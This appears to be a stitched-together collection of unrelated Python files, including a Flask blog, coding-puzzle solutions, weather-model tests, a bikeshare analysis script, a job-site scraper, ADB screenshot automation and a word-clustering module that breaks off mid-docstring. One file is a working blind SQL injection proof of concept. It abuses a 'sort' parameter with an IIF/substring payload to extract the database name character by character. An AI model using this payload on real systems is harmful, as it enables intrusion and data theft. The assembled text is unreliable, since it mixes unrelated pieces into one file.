# navbar.py

divtemplate = '''
{page}
'''

pages = ['Home', 'About', 'FAQ', 'Research', 'Events', 'Makerspace', 'Student Opportunities', 'Blog', 'People']

pageclasses = [p.lower().replace(' ', '-') for p in pages]

for p, c in zip(pages, pageclasses):
	div = divtemplate.format(cname=c, page=p)
	print(div)


print("Программа рассчета уропа пушек!")
print()
canon_ist6 = int(input("Кол-во пушек Истязатель 6 ур: "))
canon_ist5 = int(input("Кол-во пушек Истязатель 5 ур: "))
canon_destroyer5 = int(input("Кол-во пушек Погибель 5 ур: "))
canon_destroyer4 = int(input("Кол-во пушек Погибель 4 ур: "))
canon_destroyer3 = int(input("Кол-во пушек Погибель 3 ур: "))

all_canon = canon_ist6 + canon_ist5 + canon_destroyer5 + canon_destroyer4 + canon_destroyer3
procent_canon_ist6 = (canon_ist6 / all_canon)
procent_canon_ist5 = (canon_ist5 / all_canon)

ed_dmg_ist6 = 110 * procent_canon_ist6
ed_dmg_ist5 = 110 * procent_canon_ist5
sum_ed = ed_dmg_ist6 + ed_dmg_ist5

sum_ist = ((canon_ist6 * 110) + (canon_ist5 * 100)) + ((canon_ist5 + canon_ist6) * (round(sum_ed, 2)))

sum_dest = ((canon_destroyer3 * 195) + (canon_destroyer4 * 224) + (canon_destroyer5 * 255)) + ((canon_destroyer5 + canon_destroyer4 + canon_destroyer3) * (round(sum_ed, 2)))

all_dmg = sum_ist + sum_dest

print(f'Урон пушек без ядре {all_dmg}')


from flask import Flask, render_template
from requests import get
from dotenv import load_dotenv
from os import getenv
app = Flask(__name__)

@app.route('/')
@app.route('/index.html')
def home():
    blog_posts = get(url=getenv('POSTS_API')).json()
    return render_template('index.html', posts=blog_posts)

@app.route('/post.html')
def show_all_posts():
    blog_posts = get(url=getenv('POSTS_API')).json()
    return render_template('post.html', posts=blog_posts)

@app.route('/post.html/<int:post_id>')
def show_one_post(post_id):
    blog_posts = get(url=getenv('POSTS_API')).json()
    requested_post = None
    for post in blog_posts:
        if post['id'] == post_id:
            requested_post = post
            break
    return render_template('post.html', post=requested_post)

@app.route('/about.html')
def about():
    return render_template('about.html')

@app.route('/contact.html')
def contact():
    return render_template('contact.html')

if __name__ == '__main__':
    app.run()
    load_dotenv()


n = list(input())
length = len(n)

def dfs(i, count, sum):
    if i == length:
        if sum % 3 == 0 and sum != 0:
            return length-count
        else:
            return float('inf')

    d1 = dfs(i+1, count+1, sum+int(n[i]))
    d2 = dfs(i+1, count , sum)

    return min(d1, d2)

ans = dfs(0, 0, 0)

if ans != float('inf'):
    print(ans)
else:
    print(-1)


import requests
import string
import sys
from bs4 import BeautifulSoup

if len(sys.argv) < 2:
	print("[+] python3 poc.py <url>")
	exit()

URL = sys.argv[1]
flag = ''

for i in range(1,200):
	for char in string.printable:
		print(char,end='\r')
		params = {'sort':f"(IIF(ASCII(substring(db_name(),{i},1))={ord(char)}, 1,1/0)"}
		try:
			r = requests.get(URL, params=params)
			if "Error" not in r.text:
				flag += char
				print(flag)
				break
		except Exception as e:
			print(e)


from django.shortcuts import render
from django.http import HttpResponse
# from visits.models import Visits

# Create your views here.
def cookie(request):
    num_visits = request.session.get('num_visits', 0) + 1
    request.session['num_visits'] = num_visits
    res = HttpResponse(f"view count={num_visits}")
    res.set_cookie('dj4e_cookie', '2fe10492', max_age=1000)
    return res
    # return HttpResponse('Hello!')


""" Unit tests for app/env_canada.py """

import os
import sys
import logging
from typing import Optional
import pytest
import requests
import shapely
import datetime
from sqlalchemy.orm import Session
from pytest_mock import MockerFixture
import app.utils.time as time_utils
import app.db.database
import app.db.crud.weather_models
import app.jobs.env_canada
import app.jobs.common_model_fetchers
import app.weather_models.process_grib
from app.weather_models import ProjectionEnum
from app.stations import StationSourceEnum
from app.db.models.weather_models import (PredictionModel, ProcessedModelRunUrl,
                                          PredictionModelRunTimestamp)
from app.tests.weather_models.test_env_canada_gdps import MockResponse

logger = logging.getLogger(__name__)

@pytest.fixture()
def mock_database(monkeypatch):
    """ Mocked out database queries """
    geom = ("POLYGON ((-120.525 50.77500000000001, -120.375 50.77500000000001,-120.375 50.62500000000001,"
            " -120.525 50.62500000000001, -120.525 50.77500000000001))")
    shape = shapely.wkt.loads(geom)

    hrdps_url = 'https://dd.weather.gc.ca/model_hrdps/continental/2.5km/' \
        '00/001/20200521T00Z_MSC_HRDPS_RH_AGL-2m_RLatLon0.0225_PT001H.grib2'
    hrdps_processed_model_run = ProcessedModelRunUrl(url=hrdps_url)
    hrdps_prediction_model = PredictionModel(id=3, abbreviation='HRDPS', projection='ps2.5km',
                                             name='High Resolution Deterministic Prediction System')
    hrdps_prediction_model_run = PredictionModelRunTimestamp(
        id=1, prediction_model_id=hrdps_prediction_model.id, prediction_run_timestamp=time_utils.get_utc_now(),
        prediction_model=hrdps_prediction_model, complete=True)

    def mock_get_prediction_model(session, model, projection) -> Optional[PredictionModel]:
        return hrdps_prediction_model

    def mock_get_hrdps_prediction_model_run_timestamp_records(*args, **kwargs):
        return [(hrdps_prediction_model_run, hrdps_prediction_model)]

    def mock_get_processed_file_record(session, url: str):
        # We only want the one file to be processed - otherwise our test takes forever
        if url != hrdps_url:
            return hrdps_processed_model_run
        return None

    def mock_get_prediction_run(*args, **kwargs):
        return hrdps_prediction_model_run

    monkeypatch.setattr(app.weather_models.process_grib, 'get_prediction_model', mock_get_prediction_model)
    monkeypatch.setattr(app.jobs.common_model_fetchers, 'get_prediction_model_run_timestamp_records',
                        mock_get_hrdps_prediction_model_run_timestamp_records)
    monkeypatch.setattr(app.jobs.env_canada, 'get_processed_file_record', mock_get_processed_file_record)
    monkeypatch.setattr(app.db.crud.weather_models, 'get_prediction_run', mock_get_prediction_run)

@pytest.fixture()
def mock_get_processed_file_record(monkeypatch):
    """ Mock "get_processed_file_record" to only return the None on the 1st call. """
    called = False

    def get_processed_file_record(session: Session, url: str):
        nonlocal called
        if called:
            return ProcessedModelRunUrl()
        called = True
        return None

    monkeypatch.setattr(app.jobs.env_canada, 'get_processed_file_record', get_processed_file_record)

@pytest.fixture()
def mock_download(monkeypatch):
    """ fixture for env_canada.download """
    def mock_requests_get_hrdps(*args, **kwargs):
        """ mock env_canada download method for HRDPS """
        dirname = os.path.dirname(os.path.realpath(__file__))
        filename = os.path.join(
            dirname, '20230317T18Z_MSC_HRDPS_RH_AGL-2m_RLatLon0.0225_PT001H.grib2')
        with open(filename, 'rb') as file:
            content = file.read()
        return MockResponse(status_code=200, content=content)
    monkeypatch.setattr(requests, 'get', mock_requests_get_hrdps)

def test_get_hrdps_download_urls():
    """ test to see if get_download_urls methods gives the correct number of urls """
    # -1 because 000 hour has no APCP_SFC_0
    total_num_of_urls = 49 * len(app.jobs.env_canada.HRDPS_GRIB_LAYERS) - 1
    assert len(list(app.jobs.env_canada.get_high_res_model_run_download_urls(
        time_utils.get_utc_now(), 0))) == total_num_of_urls

@pytest.mark.usefixtures('mock_get_processed_file_record')
def test_process_hrdps(mock_download, mock_database):
    """ run process method to see if it runs successfully. """
    # All files, except one, are marked as already having been downloaded, so we expect one file to
    # be processed.
    sys.argv = ["argv", "HRDPS"]
    assert app.jobs.env_canada.process_models(StationSourceEnum.TEST) == 1

def test_main_fail(mocker: MockerFixture, monkeypatch):
    """ Run the main method, check that message is sent to rocket chat, and exit code is EX_SOFTWARE """
    sys.argv = ["argv", "HRDPS"]

    def mock_process_models():
        raise Exception()

    rocket_chat_spy = mocker.spy(app.jobs.env_canada, 'send_rocketchat_notification')
    monkeypatch.setattr(app.jobs.env_canada, 'process_models', mock_process_models)

    with pytest.raises(SystemExit) as excinfo:
        app.jobs.env_canada.main()

    # Assert that we exited with an error code.
    assert excinfo.value.code == os.EX_SOFTWARE
    # Assert that rocket chat was called.
    assert rocket_chat_spy.call_count == 1

def test_parse_high_res_model_url_correct_format():
    """ Given a grib file download URL in the correct format, env_canada.parse_high_res_model_url
    should return the correct info pulled from the URL """
    test_cases = [
        {
            'url': 'https://dd.weather.gc.ca/model_hrdps/continental/2.5km/06/012/20230322T06Z_MSC_HRDPS_TMP_AGL-2m_RLatLon0.0225_PT012.grib2',
            'variable_name': 'TMP_AGL-2m',
            'projection': ProjectionEnum.HIGH_RES_CONTINENTAL,
            'model_run_timestamp': datetime.datetime(2023, 3, 22, 6, 0, tzinfo=datetime.timezone.utc),
            'prediction_timestamp': datetime.datetime(2023, 3, 22, 18, 0, tzinfo=datetime.timezone.utc)
        },
        {
            'url': 'https://dd.weather.gc.ca/model_hrdps/continental/2.5km/06/012/20230322T06Z_MSC_HRDPS_WIND_AGL-10m_RLatLon0.0225_PT012.grib2',
            'variable_name': 'WIND_AGL-10m',
            'projection': ProjectionEnum.HIGH_RES_CONTINENTAL,
            'model_run_timestamp': datetime.datetime(2023, 3, 22, 6, 0, tzinfo=datetime.timezone.utc),
            'prediction_timestamp': datetime.datetime(2023, 3, 22, 18, 0, tzinfo=datetime.timezone.utc)
        },
        {
            'url': 'https://dd.weather.gc.ca/model_hrdps/continental/2.5km/06/012/20230322T06Z_MSC_HRDPS_APCP_Sfc_RLatLon0.0225_PT012.grib2',
            'variable_name': 'APCP_Sfc',
            'projection': ProjectionEnum.HIGH_RES_CONTINENTAL,
            'model_run_timestamp': datetime.datetime(2023, 3, 22, 6, 0, tzinfo=datetime.timezone.utc),
            'prediction_timestamp': datetime.datetime(2023, 3, 22, 18, 0, tzinfo=datetime.timezone.utc)
        },
        {
            'url': 'https://dd.weather.gc.ca/model_hrdps/continental/2.5km/12/084/20230322T12Z_MSC_HRDPS_RH_AGL-2m_RLatLon0.0225_PT084.grib2',
            'variable_name': 'RH_AGL-2m',
            'projection': ProjectionEnum.HIGH_RES_CONTINENTAL,
            'model_run_timestamp': datetime.datetime(2023, 3, 22, 12, 0, tzinfo=datetime.timezone.utc),
            'prediction_timestamp': datetime.datetime(2023, 3, 26, 0, 0, tzinfo=datetime.timezone.utc)
        },
    ]

    for case in test_cases:
        actual_variable_name, actual_projection, actual_model_run_timestamp, actual_prediction_timestamp \
            = app.jobs.env_canada.parse_high_res_model_url(
                case['url'])
        assert actual_variable_name == case['variable_name']
        assert actual_projection == case['projection']
        assert actual_model_run_timestamp == case['model_run_timestamp']
        assert actual_prediction_timestamp == case['prediction_timestamp']

def test_part_high_res_model_url_incorrect_format():
    """ Tests basic functionality to detect issues in HRDPS URL formats - Exceptions should be raised
    because given URLs are missing vital pieces of info """
    bad_urls = [
        'https://dd.weather.gc.ca/bad_format',
        'https://dd.weather.gc.ca/model_hrdps/moo',
        'https://dd.weather.gc.ca/model_hrdps/continental/25km/',
        'https://dd.weather.gc.ca/model_hrps/wrong_model_name',
        'https://dd.weather.gc.ca/model_hrdps/continental/2.5km/00/MSC_ASDF_ASDFASDF.grib2'
    ]

    for test_case in bad_urls:
        with pytest.raises(Exception):
            app.jobs.env_canada.parse_high_res_model_url(test_case)


N = int(input())
for i in range(N):
    yakusu_sum = 0
    n_i = int(input())
    for j in range(1, n_i):
        if n_i % j == 0 and not j == n_i:
            yakusu_sum += j

    if yakusu_sum == n_i:
        print("perfect")
    elif abs(yakusu_sum-n_i) == 1:
        print("nearly")
    else:
        print("neither")


import numpy as np
import random
import problem

class ObjectDetector:
    """Dummy object detector used to verify that we compute metrics accurately

    It detects perfecly on train set and test set except that:
        - it detects nothing for class Primary
        - it detects randomly 50% of class Primordial
    """

    def __init__(self):
        pass

    def fit(self, X, y):
        return self

    def predict(self, X):
        x_train, y_train = problem.get_train_data()
        x_test, y_test = problem.get_test_data()
        path_to_y = {
            **{path: y for path, y in zip(x_train, y_train)},
            **{path: y for path, y in zip(x_test, y_test)},
        }

        pred = [path_to_y.get(path, []) for path in X]

        def keep_prediction(location):
            if location["class"] == "Primary":
                return False
            if location["class"] == "Primordial":
                return random.random() > 0.5
            return True

        pred = [
            [
                {"proba": random.random(), **location}
                for location in image_locations
                if keep_prediction(location)
            ]
            for image_locations in pred
        ]

        y_pred = np.empty(len(X), dtype=object)
        y_pred[:] = pred
        return y_pred


# -*- coding: utf-8 -*-
"""
Created on Mon May  4 11:30:57 2020

@author: Abdulziz Al Omran
"""
import pandas as pd
import time

CITY_DATA = { 'chicago': 'chicago.csv',
              'new york city': 'new_york_city.csv',
              'washington': 'washington.csv' }
MONTHS_DATA = ['january', 'february', 'march', 'april', 'may', 'june']
DAYS_DATA= ['saturday', 'sunday', 'monday', 'tuesday', 'wednesday', 'thursaday', 'friday']

def get_filters():
    print('Hello! Let\'s explore some US bikeshare data!')
    # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs
    city = input("Which city data would you like to explore? chicago, new york or washington?\n")
    while city not in CITY_DATA:
        print('please review your input to match our used spelling, case sensitive.\n')
        city = input("Which city data would you like to explore? chicago, new york or washington?\n")

    # TO DO: get user input for month (all, january, february, ... , june)
    month= input('which month would you like ti review? january, february, march, april, may, june or simply all\n')
    while month not in MONTHS_DATA and month != 'all':
        print('please review your input to match our used spelling, case sensitive.\n')
        month= input('which month would you like ti review? january, february, march, april, may, june or simply all \n')

    # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)
    day_of_week= input('please specify a day of week (all, monday, tuesday, ... sunday)?\n')
    while day_of_week not in DAYS_DATA and day_of_week != 'all':
        print ('please review your input to match our used spelling, case sensitive.')
        day_of_week= input('please specify a day of week (all, monday, tuesday, ... sunday)?\n')

    print('-'*40)
    return city, month, day_of_week

def load_data(city, month, day):
    """
    Loads data for the specified city and filters by month and day if applicable.

    Args:
        (str) city - name of the city to analyze
        (str) month - name of the month to filter by, or "all" to apply no month filter
        (str) day - name of the day of week to filter by, or "all" to apply no day filter
    Returns:
        df - pandas DataFrame containing city data filtered by month and day
    """

    # load data file into a dataframe
    df = pd.read_csv(CITY_DATA[city])

    # convert the Start Time column to datetime
    df['Start Time'] = pd.to_datetime(df['Start Time'])

    # extract month and day of week from Start Time to create new columns
    df['month'] = df['Start Time'].dt.month
    df['day_of_week'] = df['Start Time'].dt.dayofweek

    # filter by month if applicable
    if month != 'all':
        # use the index of the months list to get the corresponding int

        month = MONTHS_DATA.index(month) + 1

        # filter by month to create the new dataframe
        df = df[df['month']==month ]

    # filter by day of week if applicable
    if day != 'all':
        # filter by day of week to create the new dataframe
        day = DAYS_DATA.index(day)
        df = df[df['day_of_week']==day]

    return df
def time_stats(df):
    if 'Start Time' not in df.columns:
        print('sorry we dont have enough data to calculate time stats')
        return
    """Displays statistics on the most frequent times of travel."""
    df['Start Time'] = df ['Start Time'].apply(pd.to_datetime)
    print('\nCalculating The Most Frequent Times of Travel...\n')
    start_time = time.time()

    # TO DO: display the most common month
    df['month_int'] = df ['Start Time'].dt.month
    popular_month = df['month_int'].mode()
    print('busiest month: ' + MONTHS_DATA[popular_month[0]-1])
    # TO DO: display the most common day of week
    df['day_of_week']= df['Start Time'].dt.dayofweek
    popular_day = df['day_of_week'].mode()
    # TO DO: display the most common start hour
    print('most popular day is: '+ DAYS_DATA[popular_day[0]])

    # extract hour from the Start Time column to create an hour column
    df['hour'] = df['Start Time'].dt.hour
# find the most common hour (from 0 to 23)
    popular_hour = df['hour'].mode()
    print('Most Frequent Start Hour:', popular_hour[0])
    print("\nThis took %s seconds." % (time.time() - start_time))
    print('-'*40)

def station_stats(df):
    if 'Start Station' not in df.columns or 'End Station' not in df.columns:
        print('sorry we dont have enough data to calculate station stats')
        return
    """Displays statistics on the most popular stations and trip."""

    print('\nCalculating The Most Popular Stations and Trip...\n')
    start_time = time.time()

    # TO DO: display most commonly used start station
    common_station = df['Start Station'].mode()[0]
    print ('the most common starting station is: ' + str(common_station))

    # TO DO: display most commonly used end station
    common_end = df['End Station'].mode()[0]
    print ('the most common end station is: ' +str (common_end))

    # TO DO: display most frequent combination of start station and end station trip
    df['Combine Stations'] = df['Start Station'] + ' and ' + df['End Station']
    common_combo = df['Combine Stations'].mode()[0]
    print ('the most common trip is between: ' + str(common_combo))

    print("\nThis took %s seconds." % (time.time() - start_time))
    print('-'*40)

def trip_duration_stats(df):
    if 'Trip Duration' not in df.columns:
        print('sorry we dont have enough data to calculate trip stats')
        return
    """Displays statistics on the total and average trip duration."""

    print('\nCalculating Trip Duration...\n')
    start_time = time.time()

    # TO DO: display total travel time
    trip_dur = sum(df['Trip Duration'])
    print('total travel time in minutes is:  ' + str(trip_dur//60))
    # TO DO: display mean travel time
    average_trip_dur = df['Trip Duration'].mean()
    print('on average a trip took, in minutes: ' + str(average_trip_dur //60))

    print("\nThis took %s seconds." % (time.time() - start_time))
    print('-'*40)

def user_stats(df):
    if 'User Type' not in df.columns or 'Gender' not in df.columns or 'Birth Year' not in df.columns:
        print('sorry we dont have enough data to calculate user stats')
        return
    """Displays statistics on bikeshare users."""

    print('\nCalculating User Stats...\n')
    start_time = time.time()

    # TO DO: Display counts of user types
    user_types = df['User Type'].value_counts()
    print (user_types)
    # TO DO: Display counts of gender
    count_gender = df['Gender'].value_counts()
    print(count_gender)
    # TO DO: Display earliest, most recent, and most common year of birth
    earlies_year = min(df['Birth Year'])
    print(int(earlies_year))
    common_year = df['Birth Year'].mode()[0]
    print(int(common_year))
    max_year = max(df['Birth Year'])
    print(int(max_year))

    print("\nThis took %s seconds." % (time.time() - start_time))
    print('-'*40)

def show_data(df):
    start_loc = 0
    view_data = input('would you like to view the data, yes/no?')
    while view_data == 'yes':
        print(df.iloc[int(start_loc):int(start_loc)+5])
        start_loc += 5
        view_data = input("Do you wish to continue?: yes/no \n").lower()

(city, month, day_of_week) = get_filters()

df = load_data(city, month, day_of_week)
print (df)
time_stats(df)
station_stats(df)
trip_duration_stats(df)
user_stats(df)
show_data(df)


import os
import hashlib
import json
from urllib.request import urlopen

################################################################################
# get_api_json
#
# Call a JSON api and cache the results in `api_cache/`. Future calls to the
# same API will be read from the cache. To expire the cache, delete the file.
################################################################################
def get_api_json(url: str):
    if not os.path.exists("api_cache"):
        os.makedirs("api_cache")

    url_hash = hashlib.new('sha256')
    url_hash.update(url.encode())
    url_cache = os.path.join("api_cache", url_hash.hexdigest() + ".json")

    if os.path.exists(url_cache):
        with open(url_cache, "r") as f:
            return json.load(f)

    try:
        response = urlopen(url).read().decode("utf-8")
    except Exception as e:
        print(url)
        raise e

    with open(url_cache, "w") as f:
        f.write(response)
    return json.loads(response)


import re
import requests
import os
from bs4 import BeautifulSoup
import json

def find_name(url):
    '''this function find name in url'''

    name = url.split('?')[0]
    return name.split('/')[-1]

def correct_text(text):
    return ''.join(re.sub(r'( )', ' ', text))

HEADERS = {
        'Accept': '*/*',
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0"
}

def get_categories_url(url):
    '''
    This function find all url categories companies
    :return: dict with list url categories
    '''

    reg = requests.get(url, headers=HEADERS)

    with open('obraz/categories.html', 'w') as file:
        file.write(reg.text)

    with open('obraz/categories.html') as file:
        src = file.read()

    soup = BeautifulSoup(src, 'lxml')
    articles = soup.find_all("a", class_='employers-company__item')

    category_companyes_urls = []
    for article in articles:
        project_url = "https://rabota.by" + article.get('href').split('?')[0] + '?page=0&vacanciesRequired=true&area=16'
        category_companyes_urls.append(project_url)
    return category_companyes_urls

def get_urls_each_category():
    """
    This function save links companies for each category
    :return: files with links companies
    """

    for cat_company_url in get_categories_url("https://rabota.by/employers_company"):
        print(f"{cat_company_url} ####### success")
        reg = requests.get(cat_company_url, headers=HEADERS)
        project_name = find_name(cat_company_url)

        with open(f"obraz/{project_name}.html", 'w') as file:
            file.write(reg.text)

        with open(f'obraz/{project_name}.html') as file:
            src = file.read()

        soup = BeautifulSoup(src, 'lxml')
        articles = soup.find_all("span", class_='employers-company__description')

        companyes_urls = []
        for article in articles:
            company_url = "https://rabota.by" + article.find('a').get("href")
            companyes_urls.append(company_url)

        with open(f'data/{project_name}.txt', 'a') as file: # save links on companies in files
            for line in companyes_urls:
                file.write(f'{line}\n')

def get_info_company():
    """
    This function take all information about company
    :return: json files with all information
    """
    name_category = (lambda name: name.split('.')[0])
    for root, dirs, files in os.walk("data"):
        for company in files:
            with open(f'data/{company}') as file:
                lines = [line.strip() for line in file.readlines()]

                all_about_company = []
                count = 0
                for line in lines:
                    q = requests.get(line, headers=HEADERS)
                    result = q.content
                    soup = BeautifulSoup(result, 'lxml')

                    try:
                        name_company = soup.find(class_="company-header-title-name").text
                    except Exception:
                        name_company = 'No name company'
                    name_company = correct_text(name_company)
                    try:
                        link_on_site = soup.find(class_="g-user-content").get('href')
                    except Exception:
                        link_on_site = 'No link on site'

                    try:
                        main_info = soup.find('div', class_='g-user-content').text
                    except Exception:
                        main_info = "No information"

                    main_info = correct_text(main_info)
                    try:
                        project_logo = soup.find('img', class_='employer-sidebar__logo').get('src')
                    except Exception:
                        project_logo = 'No logo'

                    data = {
                        'name_company': name_company,
                        'link_on_site': link_on_site,
                        'project_logo': project_logo,
                        'main_info': main_info.strip()
                    }

                    count += 1
                    all_about_company.append(data)
                    print(f"#{count}: {line} is success!")

            with open(f'all_info/{name_category(company)}.json', 'a', encoding='utf-8') as file:
                json.dump(all_about_company, file, indent=4, ensure_ascii=False)

def main():

    get_urls_each_category()
    get_info_company()

if __name__== "__main__":
    main()


import appdaemon.plugins.hass.hassapi as hass
import os

#
# App to send notification when doorbell is ringing
#
# Args:
#
# notify = notification platform to send notifications to
#
# None
#
# Release Notes
#
# Version 1.0:
#   Initial Version

class Intercom(hass.Hass):
  is_blocked = False
  timer = None

  def initialize(self):
    if "notify" not in self.args or "sensor" not in self.args:
      self.error("Please provide notify, sensor in config!")
      return

    self.listen_state(self.sensor_trigger, self.args['sensor'])

  def sensor_trigger(self, entity, attribute, old, new, kwargs):
    if old == "" or old == "unknown":
      return

    if new == "ring" and self.is_blocked == False:
      self.log("intercom call")
      self.log("old: {}, new: {}".format(old, new))
      self.say("Звонок в домофон!!!")
      self.notify("Звонок в домофон!!! ({}, {})".format(old, new), name = self.args['notify'])
      self.is_blocked = True
      self.run_timer()

  def run_timer(self):
    if self.timer != None:
      self.stop_timer()
    self.timer = self.run_in(self.unblock_msg, self.args['timeout'])

  def stop_timer(self):
    if (self.timer == None):
      return
    self.log('stopping timer.')
    self.cancel_timer(self.timer)
    self.timer = None

  def unblock_msg(self, kwargs):
    self.log('stopping timer')
    self.is_blocked = False

  def say(self, command):
    self.log('command = {}'.format(command))
    self.call_service('media_player/play_media', entity_id=self.args['alice'], media_content_type='text', media_content_id=command)


import json

from django.shortcuts import render, redirect
from django.http import HttpResponse
from nms.models import model_encode
from nms.models import model_encode_verbose

###
### Request Handling
###

def get_request_var(request, name):
    var = None
    try:
        var = request.POST[name]
    except:
        try:
            var = request.GET[name]
        except:
            pass

    if var == '':
        var = None

    return var

###
### Responses
###

def error_dict(http_status_code=400):
    error_dict = _response_dict()
    error_dict['error_code'] = 1
    error_dict['error_msg'] = 'Unknown error'
    error_dict['http_status_code'] = http_status_code
    return error_dict

def success_dict(http_status_code=200):
    success_dict = _response_dict()
    success_dict['error_code'] = 0
    success_dict['error_msg'] = ''
    success_dict['http_status_code'] = http_status_code
    return success_dict

def render_template(request, template, template_values=None, verbose=False, minify=True):
    http_status = 200
    if template_values:
        try:
            http_status = template_values['http_status_code']
        except:
            pass
    return render(request, template, template_values, status=http_status)

def render_json(request, json_values, verbose=False, minify=True):
    http_status = json_values['http_status_code']
    encode = model_encode
    if verbose:
        encode = model_encode_verbose

    response_data = json.dumps(json_values, default=encode)
    return HttpResponse(response_data, content_type="application/json", status=http_status)

def render_400(request, template_values=None):
    return render(request, '400.html', template_values, status=400)

def render_500(request, template_values=None):
    return render(request, '500.html', template_values, status=500)

def response_json_500(request, json_values=None):
    json_values = json_values or error_dict(http_status_code=500)
    json_values['error_code'] = 500
    return render_json(request, json_values=json_values)

def response_json_503(request, json_values=None):
    json_values = json_values or error_dict(http_status_code=503)
    json_values['error_code'] = 503
    json_values['error_msg'] = 'Service not available'
    return render_json(request, json_values=json_values)

def redirect_to_url(url):
    return redirect(url)

###
### PRIVATE
###

def _response_dict():
    response_dict = {}
    response_dict['error_code'] = 0
    response_dict['error_msg'] = ''
    response_dict['http_status_code'] = 200
    return response_dict


def get_idx(idx):
    res = 0
    for ele in idx:
        res = (res << 1) | ele

    return res

def bfs_traverse(top):
    acc = []

    acc.append(top.value)

    i = 1
    current = []

    if top.left is not None:
        current.append((top.left,[0]))

    if top.left is not None:
        current.append((top.right,[1]))

    while len(current)>0:
        new_ = [None for _ in range(2**i)]
        for c,idx in current:
            if c:
                new_[get_idx(idx)] = c.value
        acc.extend(new_)

        new_current=[]
        for c,idx in current:
            if c:
                if c.left is not None:
                    cop = idx.copy()
                    cop.append(0)
                    new_current.append((c.left,cop))
                if c.right is not None:
                    cop = idx.copy()
                    cop.append(1)
                    new_current.append((c.right,cop))

        current = new_current
        i += 1

    return acc


# 小妖学习
# 学习时间 2021/11/30 9:57
from os import system as cmd
import aircv as ac
import time

class Screencap:
    def __init__(self, phone=None):
        self.phone = phone
        self.screencap()  # 截屏

    def screencap(self):
        '''
        手机截图
        :return:
        '''
        s = "adb shell screencap -p /sdcard/wendao_path.png"
        p = "adb pull /sdcard/wendao_path.png"
        if self.phone:
            s = "adb -s {} shell screencap -p /sdcard/wendao_path.png".format(self.phone)
            p = "adb -s {} pull /sdcard/wendao_path.png".format(self.phone)
        cmd(s)  # 截屏
        cmd(p)  # 下载

    def matchImg(self, imgobj, confidence=0.7):  # imgsrc=原始图像，imgobj=待查找的图片
        '''
        找图坐标
        :param imgobj: 要找的小图
        :param confidence: 相识度
        :return:
        '''
        imsrc = ac.imread("wendao_path.png")  # 包装截屏
        imobj = ac.imread(imgobj)  # 包装小图

        match_result = ac.find_template(imsrc, imobj, confidence)
        if match_result is not None:
            match_result['shape'] = (imsrc.shape[1], imsrc.shape[0])  # 0为高，1为宽

        return match_result

    def tapImg(self, imgPath):
        '''
        点击图标
        :param imgPath:
        :return:
        '''
        xy = self.matchImg(imgPath)
        if not xy:
            return False
        xy = xy["result"]
        x = int(xy[0]) + 10
        y = int(xy[1]) + 10
        print(x, y)
        code = "adb shell input tap {} {}".format(x, y)
        if self.phone:
            code = "adb -s {} shell input tap {} {}".format(self.phone, x, y)
        cmd(code)
        time.sleep(0.5)
        self.screencap()  # 截屏
        return True

    def tapXy(self, xy):
        if not xy:
            return False
        xy = xy["result"]
        x = int(xy[0]) + 10
        y = int(xy[1]) + 10
        print(x, y)
        code = "adb shell input tap {} {}".format(x, y)
        if self.phone:
            code = "adb -s {} shell input tap {} {}".format(self.phone, x, y)
        cmd(code)
        time.sleep(0.5)
        self.screencap()  # 截屏
        return True

    def tap(self, x=0, y=0):
        code = "adb shell input tap {} {}".format(x, y)
        if self.phone:
            code = "adb -s {} shell input tap {} {}".format(self.phone, x, y)
        cmd(code)
        time.sleep(0.5)
        self.screencap()
        return True


import logging
import streamlink

from util import functions

logger = logging.getLogger(__name__)

def getStream(url):
    logging.info('Getting streams for video...')
    logging.info(url)
    streams = streamlink.streams(url)
    if streams:
        logging.info('Success')
        return streams['best'].url
    else:
        logging.error('Cannot get stream URL from StreamLink')
        logging.warning('Please try again later')
        functions.closeTT()


# -*- coding: utf-8 -*-

'''

Author  :   Sunanda Bansal (sunanda0343@gmail.com)
Year    :   2021

'''

# Importing Libraries
import warnings
import numpy as np
import pandas as pd

from sklearn.cluster import KMeans
from sklearn.cluster import AgglomerativeClustering as AHC

def cluster_word_vectors(
    word_vectors,
    clustering_algorithm,
    n_clusters=1500,
    distance_threshold=None,
    linkage="ward",
    random_state=0,
    **clustering_kwargs
    ):
    '''
    Clusters word vectors

    Parameters
    ----------
    word_vectors : pandas.Series
        Pandas Series with words as the index and vector (numpy array) as the
        corresponding value.

    clustering_algorithm : str
        Specifies which clustering algorithm to use. Accepts "kmeans" for K-Means
        or "ahc" for Agglomerative Hierarchical Clustering (AHC).

    n_clusters : int, optional
        The number of clusters to cluster the word vectors into. The default is 1500.

    distance_threshold : float, optional
        For Agglomerative Hierarchical Clustering (AHC), the clusters with linkage
        distance smaller than this value will be merged. If a value is declared
        for this parameter then `n_clusters` must be set to None.
        The default is None.

    linkage : str, optional
        The linkage critera for Agglomerative Hierarchical Clustering (AHC).
        The default is None.

    **clustering_kwargs : TYPE
        Additional keyword arguments are passed to respective clustering functions
        based on the value `clustering_algorithm`. For refer to the documentation
        of sklearn library for KMeans and AgglomerativeClustering clustering
        algorithms.

    Returns
    -------
    labels : list
        A list of cluster labels for each of the word vectors.

    '''

    if clustering_algorithm == "kmeans":
        clustering_model = KMeans(
                                    n_clusters          = n_clusters,
                                    random_state        = random_state,
                                    **clustering_kwargs
                                 )

    elif clustering_algorithm == "ahc" :
        clustering_model = AHC(
                                    n_clusters          = n_clusters,
                                    distance_threshold  = distance_threshold,
                                    linkage             = linkage,
                                    compute_full_tree   = True if n_clusters is None else False,
                                    **clustering_kwargs
                                )
    else:
        raise Exception('''Argument clustering_algorithm accepts "kmeans" or "ahc" only.''')

    clustering_model = clustering_model.fit(word_vectors)

    labels = clustering_model.labels_

    if len(set(labels)) == 1:
        warnings.warn("Based on the parameters provided, only 1 word cluster was found.")

    return labels

def get_document_vectors(
    tokenized_texts,
    words,
    cluster_labels,
    weight_function="cfidf",
    training_tokenized_texts=None,
    normalize=True
    ):

    '''
    Computes the document vectors given word clusters and weight function.

    CF-IDF
    ======
    Required for CF-iDF cluster weight computation

        cf(i,j)  = count of every occurrence of any terms of cluster i that are present in document j
        cdf(i)   = cluster document frequency of cluster i
                 = number of document where any term from cluster i appeared in

    Parameters
    ----------
    tokenized_texts : list of lists of str
        A list of texts where each text is further a list of tokens.

    words : list
        The words that were clustered.

    cluster_labels : list
        For each word, this list gives the label of the cluster it belongs to.

    weight_function : str, optional
        Provides the default weighting scheme to be used. The available
